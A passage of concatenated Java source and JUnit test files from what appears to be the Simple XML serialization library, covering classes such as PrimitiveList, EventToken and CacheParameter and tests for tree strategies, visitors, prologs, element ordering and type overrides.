case VOID:
return "void";
case BOOLEAN:
return "boolean";
case CHAR:
return "char";
case BYTE:
return "byte";
case SHORT:
return "short";
case INT:
return "int";
case FLOAT:
return "float";
case LONG:
return "long";
case DOUBLE:
return "double";
case ARRAY:
StringBuffer b = new StringBuffer(getElementType()
.getClassName());
for (int i = getDimensions(); i > 0; --i) {
b.append("[]");
}
return b.toString();
// case OBJECT:
default:
return new String(buf, off, len).replace('/', '.');
}
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/PrimitiveList.java<|end_filename|>
/*
* PrimitiveList.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.Collection;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>PrimitiveList</code> object is used to convert an element
* list to a collection of element entries. This in effect performs a
* serialization and deserialization of primitive entry elements for
* the collection object. On serialization each objects type must be
* checked against the XML annotation entry so that it is serialized
* in a form that can be deserialized.
* <pre>
*
* <list>
* <entry>example one</entry>
* <entry>example two</entry>
* <entry>example three</entry>
* <entry>example four</entry>
* </list>
*
* </pre>
* For the above XML element list the element <code>entry</code> is
* used to wrap the primitive string value. This wrapping XML element
* is configurable and defaults to the lower case string for the name
* of the class it represents. So, for example, if the primitive type
* is an <code>int</code> the enclosing element will be called int.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Primitive
* @see org.simpleframework.xml.ElementList
*/
class PrimitiveList implements Converter {
/**
* This factory is used to create a suitable collection list.
*/
private final CollectionFactory factory;
/**
* This performs the serialization of the primitive element.
*/
private final Primitive root;
/**
* This is the name that each array element is wrapped with.
*/
private final String parent;
/**
* This is the type of object that will be held within the list.
*/
private final Type entry;
/**
* Constructor for the <code>PrimitiveList</code> object. This is
* given the list type and entry type to be used. The list type is
* the <code>Collection</code> implementation that deserialized
* entry objects are inserted into.
*
* @param context this is the context object used for serialization
* @param type this is the collection type for the list used
* @param entry the primitive type to be stored within the list
* @param parent this is the name to wrap the list element with
*/
public PrimitiveList(Context context, Type type, Type entry, String parent) {
this.factory = new CollectionFactory(context, type);
this.root = new Primitive(context, entry);
this.parent = parent;
this.entry = entry;
}
/**
* This <code>read</code> method will read the XML element list from
* the provided node and deserialize its children as entry types.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node) throws Exception{
Instance type = factory.getInstance(node);
Object list = type.getInstance();
if(!type.isReference()) {
return populate(node, list);
}
return list;
}
/**
* This <code>read</code> method will read the XML element map from
* the provided node and deserialize its children as entry types.
* Each entry type must contain a key and value so that the entry
* can be inserted in to the map as a pair. If either the key or
* value is composite it is read as a root object, which means its
* <code>Root</code> annotation must be present and the name of the
* object element must match that root element name.
*
* @param node this is the XML element that is to be deserialized
* @param result this is the map object that is to be populated
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node, Object result) throws Exception {
Instance type = factory.getInstance(node);
if(type.isReference()) {
return type.getInstance();
}
type.setInstance(result);
if(result != null) {
return populate(node, result);
}
return result;
}
/**
* This <code>populate</code> method wll read the XML element list
* from the provided node and deserialize its children as entry types.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
* @param result this is the collection that is to be populated
*
* @return this returns the item to attach to the object contact
*/
private Object populate(InputNode node, Object result) throws Exception {
Collection list = (Collection) result;
while(true) {
InputNode next = node.getNext();
if(next == null) {
return list;
}
list.add(root.read(next));
}
}
/**
* This <code>validate</code> method wll validate the XML element list
* from the provided node and validate its children as entry types.
* This will validate each entry type as a primitive value. In order
* to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
*
* @return true if the element matches the XML schema class given
*/
public boolean validate(InputNode node) throws Exception{
Instance value = factory.getInstance(node);
if(!value.isReference()) {
Object result = value.setInstance(null);
Class expect = value.getType();
return validate(node, expect);
}
return true;
}
/**
* This <code>validate</code> method will validate the XML element list
* from the provided node and validate its children as entry types.
* This will validate each entry type as a primitive value. In order
* to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
* @param type this is the type to validate against the input node
*
* @return true if the element matches the XML schema class given
*/
private boolean validate(InputNode node, Class type) throws Exception {
while(true) {
InputNode next = node.getNext();
if(next == null) {
return true;
}
root.validate(next);
}
}
/**
* This <code>write</code> method will write the specified object
* to the given XML element as as list entries. Each entry within
* the given list must be assignable to the given primitive type.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param source this is the source object array to be serialized
* @param node this is the XML element container to be populated
*/
public void write(OutputNode node, Object source) throws Exception {
Collection list = (Collection) source;
for(Object item : list) {
if(item != null) {
OutputNode child = node.getChild(parent);
if(!isOverridden(child, item)) {
root.write(child, item);
}
}
}
}
/**
* This is used to determine whether the specified value has been
* overridden by the strategy. If the item has been overridden
* then no more serialization is require for that value, this is
* effectively telling the serialization process to stop writing.
*
* @param node the node that a potential override is written to
* @param value this is the object instance to be serialized
*
* @return returns true if the strategy overrides the object
*/
private boolean isOverridden(OutputNode node, Object value) throws Exception{
return factory.setOverride(entry, value, node);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/FileTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.io.File;
import org.simpleframework.xml.transform.FileTransform;
import junit.framework.TestCase;
public class FileTransformTest extends TestCase {
public void testFile() throws Exception {
File file = new File("..");
FileTransform format = new FileTransform();
String value = format.write(file);
File copy = format.read(value);
assertEquals(file, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/TreeStrategyTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.filter.Filter;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.TreeStrategy;
public class TreeStrategyTest extends ValidationTestCase {
public static final int ITERATIONS = 10000;
public static final int MAXIMUM = 1000;
public static final String BASIC_ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <name>{example.name}</name> \n\r"+
" <path>{example.path}</path>\n"+
" <constant>{no.override}</constant>\n"+
" <text>\n"+
" Some example text where {example.name} is replaced\n"+
" with the system property value and the path is\n"+
" replaced with the path {example.path}\n"+
" </text>\n"+
" <child name='first'>\n"+
" <one>this is the first element</one>\n"+
" <two>the second element</two>\n"+
" <three>the third elment</three>\n"+
" <grand-child>\n"+
" <entry-one key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry-one>\n"+
" <entry-two key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry-two>\n"+
" </grand-child>\n"+
" </child>\n"+
" <list TYPE='java.util.ArrayList'>\n"+
" <entry key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry>\n"+
" <entry key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry>\n"+
" <entry key='name.3'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.4'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.5'>\n"+
" <value>value.5</value>\n"+
" </entry>\n"+
" </list>\n"+
"</root>";
public static final String TEMPLATE_ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <name>${example.name}</name> \n\r"+
" <path>${example.path}</path>\n"+
" <constant>${no.override}</constant>\n"+
" <text>\n"+
" Some example text where ${example.name} is replaced\n"+
" with the system property value and the path is \n"+
" replaced with the path ${example.path}\n"+
" </text>\n"+
" <child name='first'>\n"+
" <one>this is the first element</one>\n"+
" <two>the second element</two>\n"+
" <three>the third elment</three>\n"+
" <grand-child>\n"+
" <entry-one key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry-one>\n"+
" <entry-two key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry-two>\n"+
" </grand-child>\n"+
" </child>\n"+
" <list TYPE='java.util.ArrayList'>\n"+
" <entry key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry>\n"+
" <entry key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry>\n"+
" <entry key='name.3'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.4'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.5'>\n"+
" <value>value.5</value>\n"+
" </entry>\n"+
" </list>\n"+
"</root>";
@Root(name="root")
public static class RootEntry {
@Attribute(name="number")
private int number;
@Attribute(name="flag")
private boolean bool;
@Element(name="constant")
private String constant;
@Element(name="name")
private String name;
@Element(name="path")
private String path;
@Element(name="text")
private String text;
@Element(name="child")
private ChildEntry entry;
@ElementList(name="list", type=ElementEntry.class)
private Collection list;
}
@Root(name="child")
public static class ChildEntry {
@Attribute(name="name")
private String name;
@Element(name="one")
private String one;
@Element(name="two")
private String two;
@Element(name="three")
private String three;
@Element(name="grand-child")
private GrandChildEntry grandChild;
}
@Root(name="grand-child")
public static class GrandChildEntry {
@Element(name="entry-one")
private ElementEntry entryOne;
@Element(name="entry-two")
private ElementEntry entryTwo;
}
@Root(name="entry")
public static class ElementEntry {
@Attribute(name="key")
private String name;
@Element(name="value")
private String value;
}
private static class EmptyFilter implements Filter {
public String replace(String name) {
return null;
}
}
static {
System.setProperty("example.name", "some name");
System.setProperty("example.path", "/some/path");
System.setProperty("no.override", "some constant");
}
private Persister systemSerializer;
private Strategy strategy;
public void setUp() throws Exception {
strategy = new TreeStrategy("TYPE", "LENGTH");
systemSerializer = new Persister(strategy);
}
public void testBasicDocument() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, BASIC_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, BASIC_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testTemplateDocument() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents with templates\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testEmptyFilter() throws Exception {
systemSerializer = new Persister(strategy, new EmptyFilter());
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents with an empty filter\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testBasicWrite() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, BASIC_ENTRY);
long start = System.currentTimeMillis();
entry.constant = ">><<"; // this should be escaped
entry.text = "this is text>> some more<<"; // this should be escaped
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.write(entry, new StringWriter());
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to write %s documents\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/VisitorStrategyTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.PersistenceException;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class VisitorStrategyTest extends ValidationTestCase {
@Root
@Default
private static class VisitorExample {
private List<String> items;
private Map<String, String> map;
public VisitorExample() {
this.map = new HashMap<String, String>();
this.items = new ArrayList<String>();
}
public void put(String name, String value) {
map.put(name, value);
}
public void add(String value) {
items.add(value);
}
}
public void testStrategy() throws Exception {
Visitor visitor = new ClassToNamespaceVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
VisitorExample item = new VisitorExample();
StringWriter writer = new StringWriter();
item.put("1", "ONE");
item.put("2", "TWO");
item.add("A");
item.add("B");
persister.write(item, writer);
String text = writer.toString();
System.out.println(text);
VisitorExample recover = persister.read(VisitorExample.class, text);
assertTrue(recover.map.containsKey("1"));
assertTrue(recover.map.containsKey("2"));
assertTrue(recover.items.contains("A"));
assertTrue(recover.items.contains("B"));
validate(recover, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/EventToken.java<|end_filename|>
/*
* EventToken.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.util.Iterator;
/**
* The <code>EventToken</code> object is used to represent an event
* that has been extracted from the XML document. Events provide a
* framework neutral way to represent a token from the source XML.
* It provides the name and value of the event, if applicable, and
* also provides namespace information. Some nodes will have
* associated <code>Attribute</code> objects, typically these will
* be the XML element events. Also, if available, the event will
* provide the line number the event was encountered in the XML.
*
* @author <NAME>
*/
abstract class EventToken implements EventNode {
/**
* This is used to provide the line number the XML event was
* encountered at within the XML document. If there is no line
* number available for the node then this will return a -1.
*
* @return this returns the line number if it is available
*/
public int getLine() {
return -1;
}
/**
* This provides the name of the event. Typically this will be
* the name of an XML element if the event represents an element.
* If however the event represents a text token or an element
* close token then this method may return null for the name.
*
* @return this returns the name of this event or null
*/
public String getName() {
return null;
}
/**
* This returns the value of the event. Typically this will be
* the text value that the token contains. If the event does
* not contain a value then this returns null. Only text events
* are required to produce a value via this methods.
*
* @return this returns the value represented by this event
*/
public String getValue() {
return null;
}
/**
* This is used to acquire the namespace reference that this
* node is in. A namespace is normally associated with an XML
* element or attribute, so text events and element close events
* are not required to contain any namespace references.
*
* @return this will provide the associated namespace reference
*/
public String getReference() {
return null;
}
/**
* This is used to acquire the namespace prefix associated with
* this node. A prefix is used to qualify an XML element or
* attribute within a namespace. So, if this represents a text
* event then a namespace prefix is not required.
*
* @return this returns the namespace prefix for this event
*/
public String getPrefix() {
return null;
}
/**
* This is used to return the source of the event. Depending on
* which provider was selected to parse the XML document an
* object for the internal parsers representation of the event
* will be returned. This is useful for debugging purposes.
*
* @return this will return the source object for this event
*/
public Object getSource() {
return null;
}
/**
* This is used to acquire the <code>Attribute</code> objects
* that are associated with this event. Attributes are typically
* associated wit start events. So, if the node is not a start
* event his may return a null value or an empty iterator.
*
* @return this returns an iterator for iterating attributes
*/
public Iterator<Attribute> iterator() {
return null;
}
/**
* This is true when the node represents an element close. Such
* events are required by the core reader to determine if a
* node is still in context. This helps to determine if there
* are any more children to be read from a specific node.
*
* @return this returns true if the event is an element close
*/
public boolean isEnd() {
return false;
}
/**
* This is true when the node represents a new element. This is
* the core event type as it contains the element name and any
* associated attributes. The core reader uses this to compose
* the input nodes that are produced.
*
* @return this returns true if the event represents an element
*/
public boolean isStart() {
return false;
}
/**
* This is true when the node represents a text token. Text
* tokens are required to provide a value only. So namespace
* details and the node name will typically return null.
*
* @return this returns true if this represents text
*/
public boolean isText() {
return false;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/CacheParameter.java<|end_filename|>
/*
* CacheParameter.java April 2012
*
* Copyright (C) 2012, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
/**
* The <code>CacheParameter</code> object represents a parameter
* which caches its values internally. As well as caching parameter
* values this also caches a key from a <code>Label</code> object
* which ties the parameter an label together making it possible
* to reference each other from hash containers.
*
* @author <NAME>
*/
class CacheParameter implements Parameter{
/**
* This is the annotation used to represent this parameter.
*/
private final Annotation annotation;
/**
* This is the XPath expression used to represent the parameter.
*/
private final Expression expression;
/**
* This is the name of the element or attribute for the parameter.
*/
private final String name;
/**
* This is the path of the element or attribute for the parameter.
*/
private final String path;
/**
* This is the string representation of this parameter object.
*/
private final String string;
/**
* This is the type within the constructor of this parameter.
*/
private final Class type;
/**
* This is the key that uniquely identifies this parameter.
*/
private final Object key;
/**
* This is the index within the constructor for the parameter.
*/
private final int index;
/**
* Determines if this parameter represents a primitive value.
*/
private final boolean primitive;
/**
* This is true if this parameter is required to exist.
*/
private final boolean required;
/**
* This is true if this parameter represents an attribute.
*/
private final boolean attribute;
/**
* This is true if this parameter represents a text value.
*/
private final boolean text;
/**
* Constructor for the <code>CacheParameter</code> object. This
* is used to create a parameter that internally caches all of
* the information of the provided parameter and also makes
* use of the label provided to generate a unique key.
*
* @param value this is the parameter to cache values from
* @param label this is the label to acquire the key from
*/
public CacheParameter(Parameter value, Label label) throws Exception {
this.annotation = value.getAnnotation();
this.expression = value.getExpression();
this.attribute = value.isAttribute();
this.primitive = value.isPrimitive();
this.required = label.isRequired();
this.string = value.toString();
this.text = value.isText();
this.index = value.getIndex();
this.name = value.getName();
this.path = value.getPath();
this.type = value.getType();
this.key = label.getKey();
}
/**
* This is the key used to represent the parameter. The key is
* used to store the parameter in hash containers. Unlike the
* path is not necessarily the path for the parameter.
*
* @return this is the key used to represent the parameter
*/
public Object getKey() {
return key;
}
/**
* This is used to acquire the annotated type class. The class
* is the type that is to be deserialized from the XML. This
* is used to validate against annotated fields and methods.
*
* @return this returns the type used for the parameter
*/
public Class getType() {
return type;
}
/**
* This returns the index position of the parameter in the
* constructor. This is used to determine the order of values
* that are to be injected in to the constructor.
*
* @return this returns the index for the parameter
*/
public int getIndex() {
return index;
}
/**
* This is used to acquire the annotation that is used for the
* parameter. The annotation provided will be an XML annotation
* such as the <code>Element</code> or <code>Attribute</code>
* annotation.
*
* @return this returns the annotation used on the parameter
*/
public Annotation getAnnotation() {
return annotation;
}
/**
* This method is used to return an XPath expression that is
* used to represent the position of this parameter. If there is
* no XPath expression associated with this then an empty path
* is returned. This will never return a null expression.
*
* @return the XPath expression identifying the location
*/
public Expression getExpression() {
return expression;
}
/**
* This is used to acquire the name of the parameter that this
* represents. The name is determined using annotation and
* the name attribute of that annotation, if one is provided.
*
* @return this returns the name of the annotated parameter
*/
public String getName() {
return name;
}
/**
* This is used to acquire the path of the element or attribute
* represented by this parameter. The path is determined by
* acquiring the XPath expression and appending the name of the
* label to form a fully qualified path.
*
* @return returns the path that is used for this parameter
*/
public String getPath() {
return path;
}
/**
* This is used to determine if the parameter is required. If
* an attribute is not required then it can be null. Which
* means that we can inject a null value. Also, this means we
* can match constructors in a more flexible manner.
*
* @return this returns true if the parameter is required
*/
public boolean isRequired() {
return required;
}
/**
* This is used to determine if the parameter is primitive. A
* primitive parameter must not be null. As there is no way to
* provide the value to the constructor. A default value is
* not a good solution as it affects the constructor score.
*
* @return this returns true if the parameter is primitive
*/
public boolean isPrimitive() {
return primitive;
}
/**
* This method is used to determine if the parameter represents
* an attribute. This is used to style the name so that elements
* are styled as elements and attributes are styled as required.
*
* @return this is used to determine if this is an attribute
*/
public boolean isAttribute() {
return attribute;
}
/**
* This is used to determine if the parameter represents text.
* If this represents text it typically does not have a name,
* instead the empty string represents the name. Also text
* parameters can not exist with other text parameters.
*
* @return returns true if this parameter represents text
*/
public boolean isText() {
return text;
}
/**
* This is used to provide a textual representation of the
* parameter. Providing a string describing the parameter is
* useful for debugging and for exception messages.
*
* @return this returns the string representation for this
*/
public String toString() {
return string;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionDependencyDoesNotMatchTypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementListUnion;
public class UnionDependencyDoesNotMatchTypeTest extends ValidationTestCase {
@Root
private static class Example {
@ElementListUnion({
@ElementList(entry="x", inline=true, type=X.class),
@ElementList(entry="y", inline=true, type=Y.class),
@ElementList(entry="z", inline=true, type=Z.class),
@ElementList(entry="a", inline=true, type=A.class),
@ElementList(entry="b", inline=true, type=B.class),
@ElementList(entry="c", inline=true, type=C.class)
})
private List<Entry> list = new ArrayList<Entry>();
public void add(Entry e) {
list.add(e);
}
}
@Root
private static abstract class Entry{}
private static class X extends Entry{}
private static class Y extends Entry{}
private static class Z extends Entry{}
@Root
private static abstract class Node{}
private static class A extends Node{}
private static class B extends Node{}
private static class C extends Node{}
public void testTypeMatch() throws Exception {
Persister persister = new Persister();
Example example = new Example();
example.add(new X());
example.add(new Y());
example.add(new Z());
example.add(new Z());
persister.write(example, System.out);
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PrologTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.Format;
public class PrologTest extends ValidationTestCase {
private static final String SOURCE =
"<prologExample id='12' flag='true'>\n"+
" <text>entry text</text> \n\r"+
" <name>some name</name> \n"+
"</prologExample>";
@Root
private static class PrologExample {
@Attribute
public int id;
@Element
public String name;
@Element
public String text;
@Attribute
public boolean flag;
}
private Persister serializer;
public void setUp() {
serializer = new Persister(new Format(4, "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"));
}
public void testProlog() throws Exception {
PrologExample example = serializer.read(PrologExample.class, SOURCE);
assertEquals(example.id, 12);
assertEquals(example.text, "entry text");
assertEquals(example.name, "some name");
assertTrue(example.flag);
StringWriter buffer = new StringWriter();
serializer.write(example, buffer);
String text = buffer.toString();
assertTrue(text.startsWith("<?xml"));
validate(example, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/RedundantOrderTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.AttributeException;
import org.simpleframework.xml.core.ElementException;
import org.simpleframework.xml.core.Persister;
public class RedundantOrderTest extends ValidationTestCase {
@Order(elements={"a", "b", "c"})
public static class ElementEntry {
@Element
private String a;
@Element
private String b;
@Transient
private String c;
private ElementEntry() {
super();
}
public ElementEntry(String a, String b, String c) {
this.a = a;
this.b = b;
this.c = c;
}
}
@Order(attributes={"a", "b", "c"})
public static class AttributeEntry {
@Attribute
private String a;
@Attribute
private String b;
@Transient
private String c;
private AttributeEntry() {
super();
}
public AttributeEntry(String a, String b, String c) {
this.a = a;
this.b = b;
this.c = c;
}
}
public void testRedundantElementOrder() throws Exception {
ElementEntry entry = new ElementEntry("a", "b", "c");
Persister persister = new Persister();
boolean exception = false;
try {
validate(entry, persister);
}catch(ElementException e) {
e.printStackTrace();
exception = true;
}
assertTrue(exception);
}
public void testRedundantAttributeOrder() throws Exception {
AttributeEntry entry = new AttributeEntry("a", "b", "c");
Persister persister = new Persister();
boolean exception = false;
try {
validate(entry, persister);
}catch(AttributeException e) {
e.printStackTrace();
exception = true;
}
assertTrue(exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/OverrideTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import java.util.Vector;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import junit.framework.TestCase;
public class OverrideTest extends TestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<root name='example'>\n"+
" <list class='java.util.Vector'>\n"+
" <entry id='12'>\n"+
" <text>some example text</text> \n\r"+
" </entry>\n\r"+
" <entry id='34'>\n"+
" <text>other example</text> \n\r"+
" </entry>\n"+
" <entry id='56'>\n"+
" <text>final example</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</root>";
private static final String ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<entry id='12'>\n"+
" <text>entry text</text> \n\r"+
"</entry>";
private static final String INTERFACE =
"<entry id='12' class='org.simpleframework.xml.core.OverrideTest$Entry'>\n"+
" <text>entry text</text> \n\r"+
"</entry>";
private static interface EntryInterface {
public int getId();
public String getText();
}
@Root(name="entry")
private static class Entry implements EntryInterface {
@Attribute(name="id")
private int id;
@Element(name="text")
private String text;
public int getId() {
return id;
}
public String getText() {
return text;
}
}
@Root(name="root")
private static class EntryList {
@ElementList(name="list", type=Entry.class)
private List list;
@Attribute(name="name")
private String name;
public Entry getEntry(int index) {
return (Entry) list.get(index);
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testComposite() throws Exception {
Entry entry = serializer.read(Entry.class, new StringReader(ENTRY));
assertEquals(entry.id, 12);
assertEquals(entry.text, "entry text");
}
public void testInterface() throws Exception {
EntryInterface entry = serializer.read(EntryInterface.class, new StringReader(INTERFACE));
assertEquals(entry.getId(), 12);
assertEquals(entry.getText(), "entry text");
}
public void testList() throws Exception {
EntryList list = serializer.read(EntryList.class, new StringReader(LIST));
assertEquals(list.name, "example");
assertTrue(list.list instanceof Vector);
Entry entry = list.getEntry(0);
assertEquals(entry.id, 12);
assertEquals(entry.text, "some example text");
entry = list.getEntry(1);
assertEquals(entry.id, 34);
assertEquals(entry.text, "other example");
entry = list.getEntry(2);
assertEquals(entry.id, 56);
assertEquals(entry.text, "final example");
}
public void testCopy() throws Exception {
EntryList list = serializer.read(EntryList.class, new StringReader(LIST));
assertEquals(list.name, "example");
assertTrue(list.list instanceof Vector);
Entry entry = new Entry();
entry.id = 1234;
entry.text = "replacement";
list.list = new ArrayList();
list.name = "change";
list.list.add(entry);
StringWriter writer = new StringWriter();
serializer.write(list, writer);
serializer.write(list, System.out);
assertTrue(writer.toString().indexOf("java.util.ArrayList") > 0);
assertTrue(writer.toString().indexOf("change") > 0);
list = serializer.read(EntryList.class, new StringReader(writer.toString()));
assertEquals(list.name, "change");
assertTrue(list.list instanceof ArrayList);
entry = list.getEntry(0);
assertEquals(entry.id, 1234);
assertEquals(entry.text, "replacement");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/Type.java<|end_filename|>
/*
* Type.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import java.lang.annotation.Annotation;
/**
* The <code>Type</code> interface is used to represent a method or
* field that has been annotated for serialization. Representing
* methods and fields as a generic type object allows various
* common details to be extracted in a uniform way. It allows all
* annotations on the method or field to be exposed. This can
* also wrap classes that represent entries to a list or map.
*
* @author <NAME>
*/
public interface Type {
/**
* This will provide the method or field type. The type is the
* class that is to be read and written on the object. Typically
* the type will be a serializable object or a primitive type.
*
* @return this returns the type for this method o field
*/
Class getType();
/**
* This is the annotation associated with the method or field
* that has been annotated. If this represents an entry to a
* Java collection such as a <code>java.util.List</code> then
* this will return null for any annotation requested.
*
